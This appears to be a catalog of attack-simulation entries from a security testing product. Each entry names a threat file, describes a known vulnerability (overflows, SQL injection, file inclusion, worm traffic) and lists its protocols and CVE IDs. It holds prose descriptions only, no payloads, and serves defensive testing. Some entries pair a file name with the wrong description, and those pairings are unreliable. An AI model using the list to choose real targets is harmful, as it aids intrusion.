Detailed Description:	A code execution vulnerability exists in Adobe Reader and Acrobat which can allow an attacker to take control of a target system. The vulnerability is due to memory corruption while handling RMA objects in Javascript.A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user.In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-4157
OSVDB:	84629
Threat File Name:	TSL20120403-02_IBM_Tivoli_Provisioning_Manager_Express_Isig_isigCtl.1_ActiveX_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Provisioning Manager Express Isig.isigCtl.1 ActiveX Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Provisioning Manager Express for Software Distribution. Specifically, the flaw exists in the way the Isig.isigCtl.1 ActiveX Control parses data supplied to the RunAndUploadFile() method. A remote attacker can exploit this vulnerability by enticing a user to visit a malicious web site. Successful exploitation allows arbitrary code execution under the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0198
OSVDB:	79735
Threat File Name:	jshop_rfi.xml

Executive Description:	Jshop Server 1.3 (fieldValidation.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. JShop is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0232
Threat Package:	Standard
Threat File Name:	TSL20110513-03_Adobe_Audition_Session_File_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Audition Session File Stack Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Adobe Audition. The vulnerability is due to a stack buffer overflow while parsing Audition Session (.ses) files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted file with an affected version of the application. This can lead to code execution in the context of the affected application. If code execution is unsuccessful, it can lead to unexpected termination of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0614
Threat File Name:	mozilla_idn_bof.xml
Executive Description:	Mozilla/Netscape/Firefox Browsers Domain Name Remote Buffer Overflow
Detailed Description:	This server based threat sends a malicious HTML document which uses a Javascript program to generate a buffer overflow in the browser's IDN parser. This is a server-side threat; the HTTP service typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2871
OSVDB:	19255
Threat File Name:	imgsvr_bof_b.xml
Executive Description:	ImgSvr 0.6.5 (long http post) Denial of Service Exploit
Detailed Description:	This threat sends a crafted HTTP POST command containing an excessively long buffer, this causes an overflow condition in ImgSvr which crashes the process. ImgSvr is a web server application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080211-18_Novell_Client_nwspool_dll_EnumPrinters_Function_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Client nwspool.dll EnumPrinters Function Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Novel Client for Windows handles RPC requests. The vulnerability is due to lack of boundary protection while processing RPC requests. A remote unauthenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable host with System-level privileges. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2008-0639
Threat Package:	Standard
Threat File Name:	FSC20090609-18_Microsoft_Office_Excel_Malformed_Object_Record_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Excel Malformed Object Record Parsing Code Execution (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel products. The vulnerability is due to improper parsing of crafted OBJ records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-0557
Threat Package:	Standard
Threat File Name:	warftp_user_bof_IPv6.xml
Executive Description:	WarFTP 1.65 (USER) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a maliciously crafted USER string to leverage a stack overflow vulnerability in WarFTP 1.65 that will lead to execution of code on the effected server. WarFTP is FTP server software that typically listens on tcp port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	outlook_device_IPv6.xml
Executive Description:	AUX Email Attachment (IPv6 Version)
Detailed Description:	This threat sends an email with an attachment filename of 'aux'. This can cause some email clients on Microsoft Windows to crash, since this is a reserved filename to represent system devices. This threat is presented as an email being delivered via SMTP to a mailserver. Mailservers typically listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
OSVDB:	18243
Threat Package:	Standard
Threat File Name:	FSC20110412-12_Microsoft_Windows_Messenger_ActiveX_Control_Code_Execution.xml
Executive Description:	Microsoft Windows GDIplus EMF handling Integer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Messenger. The vulnerability is due to an error that can occur when the Messenger.MessengerApp ActiveX Control is passed parameters via a web page through Internet Explorer. The error may corrupt the system state in such a way that an attacker could execute arbitrary code. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1243

Threat File Name:	squirrelcart_cmi.xml
Executive Description:	Squirrelcart 2.2.0 (cart_content.php) Remote File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cart_content.php's cart_isp_root parameter. Squirrelcart is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2483
OSVDB:	25523
Threat Package:	Standard
Threat File Name:	FSC20070129-04_Apple_Mac_OS_X_Installer_Package_Filename_Format_String_Vulnerability.xml
Executive Description:	Apple Mac OS X Installer Package Filename Format String Vulnerability
Detailed Description:	There exists a format string vulnerability in the Apple Installer application. The flaw is due to improper sanity checks on package filename strings. An attacker may exploit this vulnerability by enticing a user to open a crafted package file in order to inject and execute arbitrary code on the target host within the security context of the target user or potentially with System level privileges.
Protocol Type:	HTTP
CVEID:	CVE-2007-0465
Threat Package:	Standard
Threat File Name:	InternetExplorerScriptHandler_IPv6.xml
Executive Description:	Internet Explorer Script Handler Attack (IPv6 Version)
Detailed Description:	This threat causes a heap overflow in the javascript handling code of Internet Explorer. It causes a crash, and can possibly be used to achieve code execution. This attack is an attack on the client and comes from the virtual server. This attack would typically come from a malicious website listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	23964
Threat Package:	Standard
Threat File Name:	FSC20091013-29_Microsoft_Windows_GDIplus_WMF_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus WMF Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows GDI+ library. The vulnerability is due to an input validation error in Microsoft Windows while processing a crafted WMF image file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted WMF image file in the vulnerable products. Successful exploitation would cause a heap buffer overflow that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2500
Threat Package:	Standard
Threat File Name:	TSL20120921-04_Novell_GroupWise_Addressbook_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Vulnerability Research Service(IPv6_Version)
Detailed Description:	A heap buffer overflow vulnerability has been identified in Novell Groupware Client. The vulnerability is due to an integer overflow while parsing Novell Address Book files. An attacker can exploit this vulnerability by enticing a user to open a malformed Novell Address Book (.nab) file containing an overly long token. A successful attack would lead to injection and execution of arbitrary code in the security context of the target user. If the code execution attempt does not succeed, the application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS,GroupWise POA
CVEID:	CVE-2012-0418
OSVDB:	N/A
Threat File Name:	arkidb_sqli_IPv6.xml
Executive Description:	Arki-DB Index.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Arki-DB is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3696
OSVDB:	20944
Threat Package:	Standard
Threat File Name:	FSC20110412-19_Adobe_Flash_Player_ActionScript_callMethod_Type_Confusion_Code_Execution_IPv6.xml
Executive Description:	Adobe Flash Player ActionScript callMethod Type Confusion Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player, Adobe Reader and Adobe Acrobat products. The vulnerability could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious Flash file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment. The malware identifier covering this threat is FSC20110412-02.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0611
Threat File Name:	vwdev_sqli.xml
Executive Description:	vwdev index.php UID Variable SQL Injection
Detailed Description:	This threat sends a crafted url containing an SQL query which is executed by the server. vwdev is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0651
OSVDB:	22991
Threat File Name:	TSL20150421-11_Novell_ZENworks_Configuration_Management_GetStoredResult_class_SQL_Injection.xml
Executive Description:	Novell ZENworks Configuration Management GetStoredResult.class SQL Injection

Detailed Description:	An SQL injection vulnerability exists in ZENworks Configuration Management. The vulnerability is due to insufficient sanitization of the input parameter in the GetReRequestData method of the GetStoredResult class before it is used in an SQL query. A remote attacker can exploit this vulnerability by sending a crafted message to a target server, execute arbitrary SQL code, and access sensitive information.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0780
Threat File Name:	FSC20040708-01_Mozilla_shell_Protocol_Validation_Vulnerability_IPv6.xml
Executive Description:	Mozilla shell Protocol Validation Vulnerability (IPv6 Version)
Detailed Description:	There exists a vulnerability in the way products based on the Mozilla web engine validate URIs using the shell scheme. Using a specially crafted shell URI, an attacker can run executable files located on a target system, or start applications registered to handle certain file types. This vulnerability can also be used as a remote attack vector to vulnerabilities that would otherwise be considered local only. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0648
Threat Package:	Standard
Threat File Name:	TSL20140411-08_Advantech_WebAccess_SCADA_webvact_ocx_UserName_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx UserName Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the UserName parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2014-0770
OSVDB:	105567
Threat File Name:	smtp_expn.xml
Executive Description:	SMTP Probe EXPN all
Detailed Description:	This threat sends the EXPN all statement to an SMTP server. This command is used to enumerate all email addresses belonging to group all, if it exists.
Protocol Type:	SMTP
CVEID:	CVE-1999-0531
OSVDB:	12551
Threat Package:	Standard
Threat File Name:	emc_navisphere_IPv6.xml
Executive Description:	EMC Navisphere Manager Directory Traversal (IPv6 Version)
Detailed Description:	This threat takes advantage of a directory traversal bug in the EMC Navisphere web application. This allows the user to examine the contents of any file located on the Navisphere server. This application is a web application, and will typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2357
OSVDB:	18598
Threat Package:	Standard
Threat File Name:	FSC20081209-15_Microsoft_Excel_NAME_Record_Array_Indexing_Stack_Corruption.xml
Executive Description:	Microsoft Excel NAME Record Array Indexing Stack Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel product. The vulnerability is due to insufficient validation of the contents of a NAME record in a crafted Excel document. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4266
Threat Package:	Standard
Threat File Name:	TSL20140610-22_Microsoft_Internet_Explorer_CVE-2014-1791_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1791 Memory Corruption
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-1791
OSVDB:	107868
Threat File Name:	lupper4_IPv6.xml
Executive Description:	Lupper Worm 4 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20161213-21_Microsoft_Internet_Explorer_CWigglyShape_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer CWigglyShape Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could result in the disclosure of information that can be used to circumvent Address Space Layout Randomization (ASLR) in Windows.
Protocol Type:	HTTP, HTTPS, IPv6

CVEID: [CVE-2016-7283](#)

Threat File Name:	asus_vs_bof_IPv6.xml
Executive Description:	Asus Video Security Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a long buffer in the Authorization HTTP header, causing a buffer overflow to occur. This can be used to gain remote access to the host by injecting shellcode into the buffer. Asus Video Security is a small webserver and normally listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3489
OSVDB:	20457
Threat Package:	Standard
Threat File Name:	TSL20140718-03_HP_Data_Protector_Opcode_28_and_11_Command_Execution_IPv6.xml
Executive Description:	HP Data Protector Opcode 28 and 11 Command Execution IPv6 version.
Detailed Description:	An command execution vulnerability exists in Hewlett-Packard Data Protector. The vulnerability is due to the a design weakness when handling requests to port 5555. A remote attacker can exploit this vulnerability by sending crafted packets to the target service. Successful exploitation could lead to arbitrary command execution with System privileges on the target server. Tester should turn variable \$destPort into 5555 before test.
Protocol Type:	HP Data Protector OmniInet Protocol(up TCP port 5555).IPv6
CVEID:	CVE-2014-2623
OSVDB:	109069
Threat File Name:	nslookup_crash_IPv6.xml
Executive Description:	NSLookup Null Pointer Dereference (IPv6 Version)
Detailed Description:	This threat sends a malformed DNS response that will cause nslookup to crash. NSLookup is a name server utility that comes with windows that allows a user to lookup specific address names. This is not related to the microsoft ms06-041 bug. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard
Threat File Name:	ethereal_iapp.xml
Executive Description:	Ethereal IAPP Denial of Service Attack
Detailed Description:	This threat causes a segmentation fault in the Ethereal packet dissector, which can cause problems for network admins attempting to analyze network packet data. Can be used in conjunction with another attack to prevent monitoring.
Protocol Type:	IAPP
CVEID:	CVE-2005-1470
OSVDB:	14667
Threat Package:	Standard
Threat File Name:	FSC20090605-01_Apple_QuickTime_PICT_Image_paintPoly_Parsing_Heap_Buffer_Overflow.xml
Executive Description:	Apple QuickTime PICT Image paintPoly Parsing Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to lack of boundary checks while processing paintPoly atoms embedded in PICT files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted QuickTime image file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-0010
Threat Package:	Standard
Threat File Name:	fuzz-IP_InternetHeaderLength_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:InternetHeaderLength (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090605-01_Apple_QuickTime_PICT_Image_paintPoly_Parsing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime PICT Image paintPoly Parsing Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to lack of boundary checks while processing paintPoly atoms embedded in PICT files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted QuickTime image file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0010
Threat Package:	Standard
Threat File Name:	lupper27_IPv6.xml
Executive Description:	Lupper Worm 27 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20151218-02_Adobe_Flash_iExternalizable_Interface_readExternal_Method_Type_Confusion_IPv6.xml
Executive Description:	Adobe Flash iExternalizable Interface readExternal Method Type Confusion(IPv6 version)

Detailed Description:	A type confusion vulnerability has been reported in Adobe Flash. The vulnerability is due to the readExternal method enforced by the iExternalizable interface being treated as a function by the AVM despite the identifier ;readExternal; being overwritten. A remote attacker could exploit this vulnerability by enticing a user into opening a specially crafted SWF or web page. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, NFS, IPV6
CVEID:	CVE-2015-7647
Threat File Name:	imap_buffer_overflow_129_IPv6.xml
Executive Description:	IMAP Buffer Overflow [129] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20121113-18_Microsoft__NET_Framework_Proxy_Auto-Discovery_Code_Execution_IPv6.xml
Executive Description:	Microsoft .NET Framework Proxy Auto-Discovery Code Execution (IPv6 Version)
Detailed Description:	An code execution vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to the way the framework handles the proxy auto-configuration JavaScript. A remote unauthenticated attacker can exploit this vulnerability by spoofing a proxy auto-configuration (PAC) file location or contents, using techniques such as ARP cache poisoning on local network, NetBios Name Service (NBNS) spoofing, or DNS spoofing; or use social engineering to entice the user to use the malicious PAC URL. The attacker could craft PAC JavaScript code in such a way that it executes restricted code with full access permissions of the currently logged in user.
Protocol Type:	IPV6, HTTP, HTTPS, FTP
CVEID:	CVE-2012-4776
OSVDB:	87266
Threat File Name:	phpwebsite_sqli.xml
Executive Description:	PHPWebsite SQL injection vulnerability
Detailed Description:	This threat sends an HTTP query containing an SQL statement which is executed by the server with its permissions. PHPWebsite is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20150310-38_Microsoft_Internet_Explorer_BuildAnimation_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer BuildAnimation Memory Corruption.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an out-of-bounds access error during keyframe creation when processing CSS and HTML code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2015-0099
Threat File Name:	TSL20170302-11_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_get_nic_device_SQL_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm get_nic_device SQL Injection
Detailed Description:	An SQL Injection vulnerability has been reported in Trend Micro's SafeSync's deviceTool.pm Perl module. The vulnerability is due to insufficient validation of the user-supplied role or role parameter when sending a query to get the information about a SafeSync nic device. A remote, authenticated, attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of safesync.
Protocol Type:	HTTPS
Threat File Name:	TSL20170314-04_Microsoft_Windows_PDF_Library_CVE-2017-0023_Information_Disclosure.xml
Executive Description:	Microsoft Windows PDF Library CVE-2017-0023 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in an unspecified component of the PDF library in Microsoft Windows. The vulnerability is due to the library improperly handling certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, HTTPS, SMB/CIFS, IMAP, POP3, FTP
CVEID:	CVE-2017-0023
Threat File Name:	FSC20090709-06_Sun_MySQL_mysql_log_Format_String_Vulnerability.xml
Executive Description:	Sun MySQL mysql_log Format String Vulnerability
Detailed Description:	A format string vulnerability exists in Sun Microsystems MySQL database server. The flaw is due to insufficient input validation when processing create and drop database commands. Remote authenticated attackers could exploit this vulnerability by sending malformed data to the MySQL process. In a successful attack the affected application will terminate abnormally, creating a denial of service condition.
Protocol Type:	MySQL
Threat Package:	Standard
Threat File Name:	sipmultlength.xml
Executive Description:	SIPPING: Multiple Content Lengths
Detailed Description:	This threat sends out a SIP OPTIONS message with multiple Content-Length: headers. This is illegal and an implementation won't know how large the content is, so it may produce unpredictable results.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20101012-05_Microsoft_Windows_Media_Player_Network_Sharing_Service_RTSP_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media Player Network Sharing Service RTSP Code Execution IPv6 version.

Detailed Description:	A remote code execution vulnerability has been reported in the Microsoft Windows Media Player Network Sharing Service. The vulnerability is caused by an use after free when handling the RTSP request. An attacker can exploit this vulnerability by sending a malicious RTSP request to a vulnerable system. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Tester should set variable \$destport to 554 before test.
Protocol Type:	RTSP,IPv6
CVEID:	CVE-2010-3225
Threat File Name:	webslider_rfi_IPv6.xml
Executive Description:	Web Slider 0.6(path)Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Web Slider is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2067
Threat Package:	Standard
Threat File Name:	TSL20130514-13_Microsoft__NET_Framework_XML_Digital_Signature_Spoofing_IPv6.xml
Executive Description:	Microsoft .NET Framework XML Digital Signature Spoofing(IPv6 Version)
Detailed Description:	A spoofing vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to Microsoft .NET Framework fails to properly validate the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-1336
OSVDB:	93301
Threat File Name:	SymantecNetbios1.xml
Executive Description:	Symantec Firewall NetBIOS Buffer Overflow
Detailed Description:	This threat sends a corrupted NetBIOS answer causing a heap overflow in Symantec's Firewall software. In order for this threat to work the user must target an open, listening UDP port (for instance, port 137) and allow this traffic through the built in firewall.
Protocol Type:	NETBIOS_NS
CVEID:	CVE-2004-0444
OSVDB:	6101
Threat Package:	Standard
Threat File Name:	xmpersonalftp_bof.xml
Executive Description:	XM Easy Personal FTP Server
Detailed Description:	This threat exploits a buffer overflow in the login facility of the XM Easy Personal FTP Server by providing an excessively long USER command. Pablo Software Solutions Quick 'n Easy FTP Server is an FTP service which typically listens on port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	FSC20100209-11_Microsoft_Windows_SMB_Client_Pool_Corruption.xml
Executive Description:	Microsoft Windows SMB Client Pool Corruption
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft Windows SMB Client. The vulnerability is due to lack of boundary checks when handling SMB responses. Remote attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server that sends specially crafted SMB responses to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2010-0016
Threat Package:	Standard
Threat File Name:	ms04-028_IPv6.xml
Executive Description:	MS04-028 Microsoft GDI+ JPEG Buffer Overflow Attack (IPv6 Version)
Detailed Description:	This threat represents a browser client downloading a malicious JPEG image designed to cause code execution on a Windows XP machine through a flaw in GDI+ rendering library. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0200
OSVDB:	9951
Threat Package:	Standard
Threat File Name:	realtor_747_sqli_IPv6.xml
Executive Description:	Realtor 747 (index.php categoryid) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Realtor 747 is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100505-01_Microsoft_Office_Visio_DXF_File_Inserting_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Visio DXF File Inserting Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Visio. The vulnerability is due to a boundary error when parsing DXF files inserted into Visio documents. This vulnerability may be exploited by remote attackers by enticing a user to open a maliciously crafted Visio file with a vulnerable version of the application. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the logged-in user. When code execution is not successful the affected application may terminate abnormally leading to a denial of service condition. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/IPv6
CVEID:	CVE-2010-1681
Threat Package:	Standard
Threat File Name:	FSC20040401-03_Ethereal_Netflow_Dissector_Buffer_Overflow_IPv6.xml

Executive Description:	Ethereal Netflow Dissector Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow in the NetFlow dissector within Ethereal, a program that is used to capture and dissect network packets. It is possible for a remote attacker to execute arbitrary code in the context of the ROOT or LOCAL_SYSTEM user. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2004-0176
Threat Package:	Standard
Threat File Name:	logicsftwin_IPv6.xml
Executive Description:	Logics Software LOG-FT Windows Arbitrary File Disclosure (IPv6 Version)
Detailed Description:	This threat sends a specially crafted HTTP request that triggers an access validation error. Because of this error, LOG-FT will allow the attacker to read any file on the webserver in the user context of the sever. LOG-FT is a web application and is accessed via a web server, which typically listens on TCP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1002
Threat Package:	Standard
Threat File Name:	askjeeves_toolbar_activex.xml
Executive Description:	AskJeeves Toolbar 4.0.2.53 activex Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AskJeeves Toolbar ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070612-09_Microsoft_Windows_Schannel_Security_Package_Code_Execution_Vulnerability.xml
Executive Description:	Microsoft Windows Schannel Security Package Code Execution Vulnerability
Detailed Description:	There exists a heap corruption vulnerability in the way Windows Schannel on a client machine validates server-sent digital signatures. The vulnerability is due to insufficient checks performed on server-sent digital signatures during SSL handshakes. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted Web site. Successful exploitation would allow the attacker to execute arbitrary code on the target system with the privileges of the System level privileges.
Protocol Type:	HTTP
CVEID:	CVE-2007-2218
Threat Package:	Standard
Threat File Name:	TSL20120113-01_HP_Diagnostics_magentservice_exe_Integer_Wraparound_IPv6.xml
Executive Description:	Apache Struts 2 ConversionErrorInterceptor OGNL Script Injection(IPV6 Version)
Detailed Description:	A script injection vulnerability has been found in Apache Struts 2. The vulnerability is due to a design error: HTTP request parameters are interpreted as OGNL expressions when conversion errors occur. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable Struts 2 web application. A successful attack will result in the execution of arbitrary OGNL expressions (possibly OS commands) in the security context of the web application server.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0391
Threat File Name:	TSL20130910-12_Microsoft_Excel_CVE-2013-1315_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel CVE-2013-1315 Memory Corruption [IPv6, Version]
